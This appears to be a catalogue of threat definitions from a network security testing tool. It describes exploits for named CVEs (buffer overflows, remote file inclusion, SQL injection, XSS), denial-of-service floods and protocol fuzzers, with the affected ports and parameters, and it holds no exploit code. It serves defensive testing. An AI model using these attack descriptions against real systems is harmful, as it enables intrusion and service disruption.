Detailed Description:	This threat leverages a buffer overflow vulnerability in the SHTTPD web server whereby an attacker can execute code on the affected system with the privileges of the running service. SHTTPD is a web server and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	phpworm2_IPv6.xml
Executive Description:	phpinclude.worm Attack 2 (IPv6 Version)
Detailed Description:	This threat attacks a common programming mistake in PHP. The PHP include worm attacks using a generic form of this attack. This is a sample of one version of this worm. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	fuzz-IP_CE.xml
Executive Description:	Fuzzer for Protocol:IP and Field:CE
Detailed Description:	
Protocol Type:	IP
Threat Package:	Fuzzing
Threat File Name:	FSC20090105-04_RealNetworks_Helix_Server_RTSP_SETUP_Stack_Buffer_Overflow.xml
Executive Description:	RealNetworks Helix Server RTSP SETUP Stack Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the way RealNetworks Helix Server handles RTSP requests. Remote unauthenticated attackers can exploit this vulnerability by sending malicious RTSP SETUP requests to the affected server. As a result of processing the malicious command, a stack-based buffer overflow can be triggered which may result in injection and execution of arbitrary code within the security privileges of the vulnerable service on the target system, normally System. In the case of an attack, where code injection is unsuccessful, the Helix Server service will terminate, and all the connected sessions will be closed immediately. Furthermore, the functionality of all the services that depend on the vulnerable service might be affected as well. In the case where code injection was successful, the behaviour of the system will be entirely dependent on the nature of the injected code. Any code executed will be with the the security privileges of the vulnerable service, normally System.
Protocol Type:	RTSP
Threat Package:	Standard

Threat File Name:	TSL20170710-02_Apache_Struts_2_Struts_1_Plugin_Remote_Code_Execution.xml
Executive Description:	Apache Struts 2 Struts 1 Plugin Remote Code Execution
Detailed Description:	A remote code execution vulnerability exists in Apache Struts. The vulnerability is due to improper validation of user-provided input passed to the ActionMessage class. A remote attacker could exploit this vulnerability by sending a crafted request to the target server. Successful exploitation will allow an attacker to execute arbitrary code with the privileges of the server.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-9791
Threat File Name:	smtp_debug.xml
Executive Description:	SMTP Probe DEBUG
Detailed Description:	This threat sends the DEBUG statement to an SMTP server. This command is used to put the SMTP server into a troubleshooting mode.
Protocol Type:	SMTP
CVEID:	CVE-1999-0095
OSVDB:	195
Threat Package:	Standard
Threat File Name:	MOKB-26-11-2006_IPv6.xml
Executive Description:	Apple Mac OS X Mach-O Binary Loading Integer Overflow Vulnerability. (IPv6 Version)
Detailed Description:	This threat demonstrates the MOKB-26-11-2006 Mach-O binary loader integer overflow flaw, this threat is delivered over HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-6129
Threat Package:	Standard
Threat File Name:	TSL20120214-15_Microsoft_Windows_C_Runtime_Library_Heap_Buffer_Overflow.xml
Executive Description:	Microsoft Windows C Runtime Library Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in Microsoft Windows. The vulnerability is due to improper calculation of the allocation size for the heap memory buffer. This vulnerability can be exploited while processing certain crafted media files. A remote attacker can exploit this vulnerability by enticing a target user to open a specially crafted file with applications and programs that use C and C++ run-time library msvcrt.dll. Successful exploitation would lead to code execution in the context of the current user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB
CVEID:	CVE-2012-0150
Threat File Name:	TSL20060913-10_Microsoft_Internet_Explorer_daxctle_ocx_KeyFrame_Method_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer daxctle.ocx KeyFrame Method Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in the DirectAnimation ActiveX control. The flaw is due to improper validation of user supplied arguments to the KeyFrame() method of the affected object. By persuading the target user to visit a malicious web site, an attacker may execute arbitrary code on the target system with the privileges of the currently logged on user. In an attack case where code injection is not successful, the affected application will terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2006-4777
Threat File Name:	pnphpbb2_rfi_IPv6.xml
Executive Description:	PNphpBB2 Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.PNphpBB is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	NOOPudpAIX_IPv6.xml
Executive Description:	UDP NOOP Variant AIX (IPv6 Version)
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure more probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	squid_ftp_bof.xml
Executive Description:	Squid Proxy FTP URL Buffer Overflow
Detailed Description:	This threat causes a buffer overflow in the URL parsing portion of Squid proxy server. This allows remote code execution to occur and allow the attacker to gain control of the proxy server. Proxy servers can listen on typical HTTP ports, such as 80, or on specific ports, such as 3128 in this case.
Protocol Type:	HTTP
CVEID:	CVE-2002-0068
OSVDB:	5378
Threat Package:	Standard
Threat File Name:	FSC20100413-05_Microsoft_Windows_2000_Media_Services_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows 2000 Media Services Stack Buffer Overflow (IPv6 Version)

Detailed Description:	A stack buffer overflow vulnerability exists in Microsoft Windows 2000 Media Services. The vulnerability is due to the way Windows Media Unicast Service handles specially crafted transport information packets. An attacker can exploit this vulnerability by creating a specially crafted transport information packet and sending it to the offending service. In attack scenarios where code execution is successful the injected code will be executed within the context of the currently logged in user. When code execution is not successful, the affected application may terminate abnormally, leading to a denial of service condition. Note: Based on researching the patch, it has been discovered that the vulnerability is not fully mitigated. After the patch is applied, a system is still vulnerable to attacks targeting this vulnerability. TELUS Security Labs is currently working with the vendor to further investigate this issue. (IPv6 Version)
Protocol Type:	MMS/IPv6
CVEID:	CVE-2010-0478
Threat Package:	Standard
Threat File Name:	TSL20140416-17_Oracle_Data_Quality_DateTimeWrapper_onchange_Untrusted_Pointer_Dereference.xml
Executive Description:	Oracle Data Quality DateTimeWrapper onchange Untrusted Pointer Dereference
Detailed Description:	A remote code execution vulnerability exists in Oracle Data Profiling and Data Quality for Data Integrator. The vulnerability is due to dereferencing an arbitrary pointer within the TSSL2.DscForms.DateTimeWrapper ActiveX control. A remote attacker can exploit this vulnerability by enticing a user to open a malicious web page. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-2416
OSVDB:	105819
Threat File Name:	awstats_cmi_c_IPv6.xml
Executive Description:	AWStats Logfile Parameter Remote Command Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query containing a shell command which is executed by the server via the "logfile" parameter which does not properly filter shell metacharacters. AWStats is a webapplication with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	virtualcd_activex_rcmd.xml
Executive Description:	Virtual CD 9.0.0.2 (vc9api.DLL 9.0.0.57) Remote Command Execution Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Virtual CD ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20071123-13_Apple_QuickTime_RTSP_Response_Crafted_Content-Type_Header_Buffer_Overflow_IPv6.xml
Executive Description:	Apple QuickTime RTSP Response Crafted Content-Type Header Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in the way Apple QuickTime handles Real Time Streaming Protocol (RTSP) responses. The flaw is due to boundary error when parsing a crafted Content-Type header. A remote attacker can exploiting this vulnerability by enticing the target user to visit a malicious web site. Successful attack could allow for arbitrary code injection and execution with the privileges of the currently logged on user. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2007-6166
Threat Package:	Standard
Threat File Name:	imesh_activex_rexec_IPv6.xml
Executive Description:	iMesh <= 7.1.0.x IMWebControl Class (IMWeb.dll 7.0.0.x) Remote Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in iMesh IMWebControl Class (IMWeb.dll 7.0.0.x) ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delived via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-6493
Threat Package:	Standard
Threat File Name:	pmwiki_xss_IPv6.xml
Executive Description:	PmWiki Search Cross-Site Scripting Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing HTML or Javascript. PmWiki is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3849
OSVDB:	21056
Threat Package:	Standard
Threat File Name:	FSC20090113-13_Microsoft_Windows_SMB_TRANS_Request_Error_Handling_Memory_Corruption.xml
Executive Description:	Microsoft Windows SMB TRANS Request Error Handling Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Windows SMB services. The flaw is due to insufficient input validation when handling SMB transactions. Remote authenticated attackers can exploit this vulnerability by sending specially crafted messages to the affected interface. A successful exploitation can lead to arbitrary code execution with System level privileges. In an attack case where code injection is not successful, an attacked system will encounter an unrecoverable system error and display the Blue Screen of Death (BSOD). The target will halt or restart based on the configuration of system failure event handling. If the system is halted, it must be restarted manually by an administrator. In a more sophisticated attack, where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the System level.
Protocol Type:	SMB
CVEID:	CVE-2008-4834
Threat Package:	Standard
Threat File Name:	FSC20090330-02_Sun_Java_Runtime_Environment_Type1_Font_Parsing_Integer_Overflow_Vulnerability.xml

Executive Description:	Sun Java Runtime Environment Typel Font Parsing Integer Overflow Vulnerability
Detailed Description:	There exists an integer overflow vulnerability in Sun Java Runtime Environment software. The vulnerability is due to signedness error while parsing certain Typel font files. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted HTML file. Successful exploitation may lead to arbitrary code execution on the target. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected process will terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1099
Threat Package:	Standard
Threat File Name:	floodHTTPGet_IPv6.xml
Executive Description:	HTTP Get Flood (IPv6 Version)
Detailed Description:	This threat launches a denial of service attack against a webserver by repeatedly requesting the root page. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	osp_rfi_IPv6.xml
Executive Description:	osp <= 1.2.1 (cfgPathToProjectAdmin) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. OSP is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2157
Threat Package:	Standard
Threat File Name:	FSC20090415-01_Oracle_Application_Server_10g_OPMN_Service_Format_String_Vulnerability_IPv6.xml
Executive Description:	Oracle Application Server 10g OPMN Service Format String Vulnerability (IPv6 Version)
Detailed Description:	A format string vulnerability exists in Oracle Application Server. The flaw is due to improper handling of user data when logging the events. A remote attacker could exploit this vulnerability by sending specially crafted request to the target system. In an attack case where code injection is not successful, the affected process will terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected process with System level privileges. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2009-0993
Threat Package:	Standard
Threat File Name:	openbsd_icmp6_bof_IPv6.xml
Executive Description:	OpenBSD ICMPV6 Packet Handling Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a specially crafted IPv6 ICMP packet to leverage a flaw in kern/uipc_mbuf2.c in servers running OpenBSD 3.9 and 4.0, that will lead to a denial of service condition or execution of arbitrary code with kernel-level privileges. OpenBSD is a unix operating system. (IPv6 Version)
Protocol Type:	ICMP6/IPv6
CVEID:	CVE-2007-1365
OSVDB:	33050
Threat Package:	Standard
Threat File Name:	TSL20111011-18_Microsoft_Internet_Explorer_Option_Element_Use-After-Free.xml
Executive Description:	Microsoft Internet Explorer Option Element Use-After-Free
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to the way the Option elements are handled by Internet Explorer. A remote attacker could exploit this vulnerability by enticing a target user to view a specially crafted webpage, or open a crafted Microsoft Office document that hosts the IE rendering engine and contains an ActiveX control marked "safe for initialization". A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1996
Threat File Name:	winproxy_telnet_DoS_IPv6.xml
Executive Description:	WinProxy Telnet Denial of Service (IPv6 Version)
Detailed Description:	This threat causes a denial of service in the winproxy telnet proxy. It will cause a heap corruption to occur, which may be exploitable. This threat works by sending 5000 0xFF byte packets to the telnet port. Telnet typically listens on port 23. (IPv6 Version)
Protocol Type:	Telnet/IPv6
CVEID:	CVE-2005-3654
OSVDB:	22239
Threat File Name:	quicktime_applet_rcmdexec_IPv6.xml
Executive Description:	Apple Quicktime (Multiple Browsers) Command Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a flaw in Apple Quicktime that uses a malicious javascript to execute arbitrary code via crafted a media file or webpage. This threat is delivered via http. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2397
Threat Package:	Standard
Threat File Name:	TSL20130318-10_Siemens_SIMATIC_WinCC_RegReader_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	Siemens SIMATIC WinCC RegReader ActiveX Control Buffer Overflow(IPV6 version)
Detailed Description:	A stack-based buffer overflow vulnerability exists in Siemens SIMATIC WinCC. The vulnerability is due to a boundary error in the RegReader ActiveX control. A remote attacker can exploit this vulnerability by enticing a target user to view crafted web content. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the current user.
Protocol Type:	IPV6,HTTP,HTTPS

CVEID:	CVE-2013-0674
OSVDB:	91311
Threat File Name:	FSC20100419-02_Multiple_Vendors_AgentX_receive_agentx_Integer_Overflow_IPv6.xml
Executive Description:	Multiple Vendors AgentX receive_agentx Integer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in multiple products that use the AgentX++ software. The vulnerability is due to an integer overflow error in AgentX::receive_agentx function that can lead to a heap buffer overflow. A remote unauthenticated attacker can exploit this vulnerability by sending maximum payload length value in a packet to the target server on port 705/TCP. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the server process. Code injection that does not result in execution could terminate the application due to memory corruption, and could result in a Denial of Service condition. (IPv6 Version)
Protocol Type:	AgentX/IPv6
CVEID:	CVE-2010-1319
Threat Package:	Standard
Threat File Name:	phplinkex_rfi.xml
Executive Description:	PhpLinkExchange Input Validation Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PhpLinkExchange is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	photokorn_b_rfi.xml
Executive Description:	Photokorn Ext_cats.php Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Photokorn is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20081008-26_Novell_eDirectory_SOAP_Handling_Accept_Language_Header_Heap_Overflow_IPv6.xml
Executive Description:	Novell eDirectory SOAP Handling Accept Language Header Heap Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Novell eDirectory. The flaw is due to boundary error when processing SOAP-HTTP requests. By supplying overly large data to the Accept-Language header, a remote unauthenticated attacker can leverage this vulnerability to inject and execute arbitrary code on the target host with System or root level privileges. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2008-4479
Threat Package:	Standard
Threat File Name:	Mercury_IMAP_bof_IPv6.xml
Executive Description:	Mercury IMAP Buffer Overflow Attack (IPv6 Version)
Detailed Description:	This threat attempts to spawn a shell on a remote machine running Mercury IMAP. Connects to the IMAP service, which runs on port 143. (IPv6 Version)
Protocol Type:	IMAP/IPv6
CVEID:	CVE-2004-2513
Threat Package:	Standard
Threat File Name:	jnlp_injection_IPv6.xml
Executive Description:	Java JNLP Command Injection (IPv6 Version)
Detailed Description:	This threat injects a command line argument into the javaws process run by the Java plugin. This injection allows a malicious web page to specify a security policy of its own in order to access files typically "sandboxed" by the application. This type of file typically resides on a webserver listening on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0836
OSVDB:	14899
Threat Package:	Standard
Threat File Name:	phpbluedragon_rfi_IPv6.xml
Executive Description:	PhpDragonCMS remote file include (IPv6 Version)
Detailed Description:	This threat sends a crafted url that exploits a failing in the Template.PHP function which allows a malicious user to include commands in the context of the vulnerable web server. PhpDragonCMS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	MSsqlOverflow_IPv6.xml
Executive Description:	MS02-039/MS02-061 MS SQL Server 2000 Buffer Overflow (IPv6 Version)
Detailed Description:	MS SQL Server 2000 employs UDP Port 1434 for foreign hosts to ping for connectivity. This threat will cause a buffer overflow by causing the MSSQL service to copy a long string onto the stack before attempting to open a registry key with that name. This same flaw was exploited by the slammer worm. (IPv6 Version)
Protocol Type:	MSSQL/IPv6
CVEID:	CVE-2002-0649
OSVDB:	4577
Threat Package:	Standard
Threat File Name:	TSL20150109-08_OpenSSL_DTLS_dtls1_buffer_record_Denial_of_Service.xml
Executive Description:	OpenSSL DTLS dtls1_buffer_record Denial of Service
Detailed Description:	A denial of service vulnerability has been reported in OpenSSL. The vulnerability is due to memory exhaustion when parsing specially crafted DTLS packets. A remote, unauthenticated attacker can exploit this vulnerability by sending a large number of crafted packets to a vulnerable server. Successful exploitation will result in high memory consumption and lead to a denial of service condition. Tester should set variable \$destPort to 4433 before test.
Protocol Type:	DTLS
CVEID:	CVE-2015-0206
OSVDB:	116791

Threat File Name:	TSL20111123-03_HP_Data_Protector_Multiple_Products_RequestCopy_SQL_Injection_IPv6.xml
Executive Description:	HP Data Protector Multiple Products RequestCopy SQL Injection(IPV6 VERSION)
Detailed Description:	An SQL injection vulnerability exists in HP Data Protector Notebook Extension and HP Data Protector for Personal Computers. The specific flaw is caused by insufficient validation of the type field in a user supplied SOAP request to the DPNECentral web service. A remote unauthenticated attacker can leverage this vulnerability to execute arbitrary SQL queries on a target system within the security context of the affected service.
Protocol Type:	IPV6,HTTP
CVEID:	CVE-2011-3158
Threat File Name:	FSC20080806-07_Apache_HTTP_Server_mod_proxy_ftp_Wildcard_Characters_Cross-Site_Scripting.xml
Executive Description:	Apache HTTP Server mod_proxy_ftp Wildcard Characters Cross-Site Scripting
Detailed Description:	There exist a cross-site scripting vulnerability in Apache mod_proxy_ftp module. The flaw is due to lack of sanitization of user supplied input data. The flaw may be exploited by malicious users to execute arbitrary HTML code on target user's web browser, within the context of a trusted web site.
Protocol Type:	HTTP
CVEID:	CVE-2008-2939
Threat Package:	Standard
Threat File Name:	FSC20101105-04_Symantec_IM_Manager_LoggedInUsers_lgx_Definition_File_Multiple_SQL_Injections_IPv6.xml
Executive Description:	Symantec IM Manager LoggedInUsers.lgx Definition File Multiple (IPV6 VERSION)
Detailed Description:	An SQL injection vulnerability exists in Symantec IM Manager. The vulnerability is due to insufficient input validation of the parameters loginTimeStamp, dbo, dateDiffParam and whereClause. A remote non-privileged user can exploit this vulnerability by embedding malicious SQL code as part of the vulnerable parameter. Successful exploitation would result in disclosure of sensitive information, and modification or manipulation of the data in the underlying database.
Protocol Type:	IPV6,HTTP
CVEID:	CVE-2010-0112
Threat File Name:	FSC20080912-02_Trend_Micro_OfficeScan_Server_cgiRecvFile_Buffer_Overflow_IPv6.xml
Executive Description:	Trend Micro OfficeScan Server cgiRecvFile Buffer Overflow (IPV6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Trend Micro's OfficeScan. The flaw is due to a boundary error when handling HTTP requests. An unauthenticated remote attacker can leverage this vulnerability to inject and execute arbitrary code with System level privileges on the target system. (IPV6 Version)
Protocol Type:	HTTP-ALT/IPv6
CVEID:	CVE-2008-2437
Threat Package:	Standard
Threat File Name:	dhcpDiscover.xml
Executive Description:	DHCP Discover Flood
Detailed Description:	This threat sends out a flood of DHCP discover packets in an attempt to cause a denial of service on the target machine.
Protocol Type:	DHCP
Threat Package:	Standard
Threat File Name:	TSL20130430-10_IBM_SPSS_SamplePower_Vsflex71_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	IBM SPSS SamplePower Vsflex71 ActiveX Control Buffer Overflow [IPV6, Version]
Detailed Description:	A buffer overflow vulnerability exists in IBM SPSS SamplePower. The vulnerability is due to a lack of boundary checking on the user-supplied ComboList or ColComboList property value in the Vsflex71 ActiveX control. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious website. Successful exploitation could allow arbitrary code execution in the context of the target user.
Protocol Type:	IPV6, HTTP, HTTPS
CVEID:	CVE-2012-5947
OSVDB:	92846
Threat File Name:	TSL20111212-08_Nullsoft_Winamp_AVI_Stream_Count_Integer_Overflow.xml
Executive Description:	Nullsoft Winamp AVI Stream Count Integer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Winamp. The vulnerability is due to an integer overflow when a stream count from an AVI file is used in a buffer size calculation. A remote unauthenticated attacker can exploit this vulnerability by enticing a target user to open a crafted AVI file. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2011-3834
Threat File Name:	lsass.xml
Executive Description:	MS04-007 LSASS Reboot Buffer Overflow
Detailed Description:	This attack takes advantage of the buffer overflow in Microsoft's lsasrv.dll service. Causes a remote machine to go down for a scheduled reboot. The LSASS service listens on Microsoft ports, such as 445.
Protocol Type:	SMB
CVEID:	CVE-2003-0818
OSVDB:	3902
Threat Package:	Standard
Threat File Name:	FSC20041028-01_Squid_ASN_1_Header_Parsing_Denial_of_Service_IPv6.xml
Executive Description:	Squid ASN.1 Header Parsing Denial of Service (IPV6 Version)
Detailed Description:	There is a vulnerability in the way Squid web proxy parses SNMP messages. An SNMP message with specially crafted ASN.1 length fields can generate memory access violation errors. The exception generated by these errors can cause the product to restart, creating a denial of service condition for active transactions. (IPV6 Version)
Protocol Type:	FILECAST/IPv6
CVEID:	CVE-2004-0918
Threat Package:	Standard

Threat File Name:	TSL20140421-11_CA_ERwin_Web_Portal_ConfigServiceProvider_Information_Disclosure.xml
Executive Description:	CA ERwin Web Portal ConfigServiceProvider Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in CA ERwin Web Portal. This vulnerability is due to lack of authentication and insufficient input validation in the ConfigServiceProvider servlet when processing HTTP requests. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary XML files on a target system, including XML files which store database credentials.
Protocol Type:	HTTP
CVEID:	CVE-2014-2210
OSVDB:	106135
Threat File Name:	phpbb_tweaked_rfi_IPv6.xml
Executive Description:	Phpbb Tweaked (phpbb_root_path) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Phpbb Tweaked is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170613-27_Microsoft_Windows_LNK_CVE-2017-8464_Remote_Code_Execution.xml
Executive Description:	Microsoft Windows LNK CVE-2017-8464 Remote Code Execution
Detailed Description:	A remote code execution vulnerability has been reported in Microsoft Windows. The vulnerability is due to improper handling of .LNK (shortcut) files. A remote attacker could exploit this vulnerability by enticing a target user into viewing a folder containing a malicious LNK file and binary. Successful exploitation results in the execution of arbitrary code under the security context of the target user.
Protocol Type:	HTTP,HTTPS,IMAP,SMB/CIFS,POP3,FTP
CVEID:	CVE-2017-8464
Threat File Name:	TSL20160510-26_Microsoft_Scripting_Engine_CVE-2016-0189_Memory_Corruption.xml
Executive Description:	Microsoft Scripting Engine CVE-2016-0189 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft VBScript and JScript engines used by Internet Explorer. This vulnerability is due to improper object access in memory.A remote attacker could exploit these vulnerabilities by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP
CVEID:	CVE-2016-0189
Threat File Name:	phpraid_cmi_IPv6.xml
Executive Description:	phpRaid Remote File Inclusion (IPv6 Version)
Detailed Description:	This threat sends a crafted url containing a local or remote path to PHP or HTML via auth.php "phpbb_root_path" parameter which is included by the server allowing arbitrary remote code execution. phpRaid is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2283
Threat Package:	Standard
Threat File Name:	gnugv_psfile_bof.xml
Executive Description:	GNU GV Stack Buffer Overflow Vulnerability
Detailed Description:	This threat uses a malicious postscript file to leverage a flaw in the 'ps_gettext()' function resulting in a buffer overflow condition. GNU GV is a PostScript and PDF viewer and the malicious file can be retrieved from a web server listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5864
Threat Package:	Standard
Threat File Name:	FSC20080212-20_Microsoft_Works_File_Converter_WPS_File_Section_Length_Headers_Memory_Corruption.xml
Executive Description:	Microsoft Works File Converter WPS File Section Length Headers Memory Corruption
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Works File Converter. The vulnerability is due to improper validation of various lengths in WPS document. A remote attacker can exploit this vulnerability by enticing the target user to open a maliciously constructed WPS document, potentially causing arbitrary code to be injected and executed in the security context of the logged-in user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, affected product will terminate resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2007-0216
Threat Package:	Standard
Threat File Name:	aspnuke_injection.xml
Executive Description:	ASPnuke SQL Injection
Detailed Description:	This threat changes the administrator name and password through a SQL injection attack in ASPnuke. ASPnuke is a web application which would typically listen on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-2067
OSVDB:	15801
Threat Package:	Standard
Threat File Name:	TSL20120425-01_Oracle_WebCenter_Forms_Recognition_ActiveX_Control_Arbitrary_File_Creation.xml
Executive Description:	Oracle WebCenter Forms Recognition ActiveX Control Arbitrary File Creation
Detailed Description:	A directory traversal vulnerability exists in Oracle WebCenter Forms Recognition. The vulnerability is due to insufficient validation of parameters used in the Save() method in the ActiveX control CroProj.dll. This can be exploited to write arbitrary files in the context of the currently logged-on user. A remote attacker could possibly exploit this vulnerability to achieve arbitrary code execution by enticing a target user to open a crafted web page.

Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-1709
OSVDB:	81367
Threat File Name:	FSC20070323-01_Microsoft_Windows_Vista_Windows_Mail_File_Execution_IPv6.xml
Executive Description:	Microsoft Windows Vista Windows Mail File Execution (IPv6 Version)
Detailed Description:	There exists a vulnerability in Microsoft Windows Mail product. The vulnerability is due to insufficient validation of URLs in incoming emails. A remote attacker can exploit this vulnerability by enticing a target user to open an email message and click on a specially crafted URL within the message which refers to an executable file on the client system. Successful exploitation would allow for arbitrary command execution with the privileges of the currently logged-in user. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2007-1658
Threat Package:	Standard
Threat File Name:	TSL20130912-09_HP_ProCurve_Manager_SNAC_GetDomainControllerServlet_Policy_Bypass_IPv6.xml
Executive Description:	HP ProCurve Manager SNAC GetDomainControllerServlet Policy Bypass(IPv6 Version)
Detailed Description:	A policy bypass vulnerability exists in HP ProCurve Manager SNAC. The vulnerability is due to a design weakness in the GetDomainControllerServlet class. A remote attacker could exploit the vulnerability by sending specially crafted data to a vulnerable version of the software. Successful exploitation could result in authentication bypass.
Protocol Type:	HTTPS,IPv6
Threat File Name:	fuzz-HTTP_AppendformatnToPOST.xml
Executive Description:	Fuzz HTTP OPTION appended by %n
Detailed Description:	Fuzzes the Method field by appending %n
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	quezza_cmi_IPv6.xml
Executive Description:	Quezza BB 1.0 (quezza_root_path) File Inclusion Vulnerability. (IPv6 Version)
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via class_template.php's quezza_root_path parameter. Docebo is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2485
OSVDB:	25562
Threat Package:	Standard
Threat File Name:	FSC20081209-23_Microsoft_Visual_Basic_Hierarchical_FlexGrid_ActiveX_Control_Code_Execution.xml
Executive Description:	Microsoft Visual Basic Hierarchical FlexGrid ActiveX Control Code Execution
Detailed Description:	There exists a buffer overflow vulnerability in multiple Microsoft products. The vulnerability is due to a boundary error in an animation ActiveX control while opening a specially crafted audio/video file. Remote attackers can exploit this vulnerability by enticing the target user to visit a malicious web page, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application (IE) may terminate as a result of invalid memory access.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-4254
Threat Package:	Standard
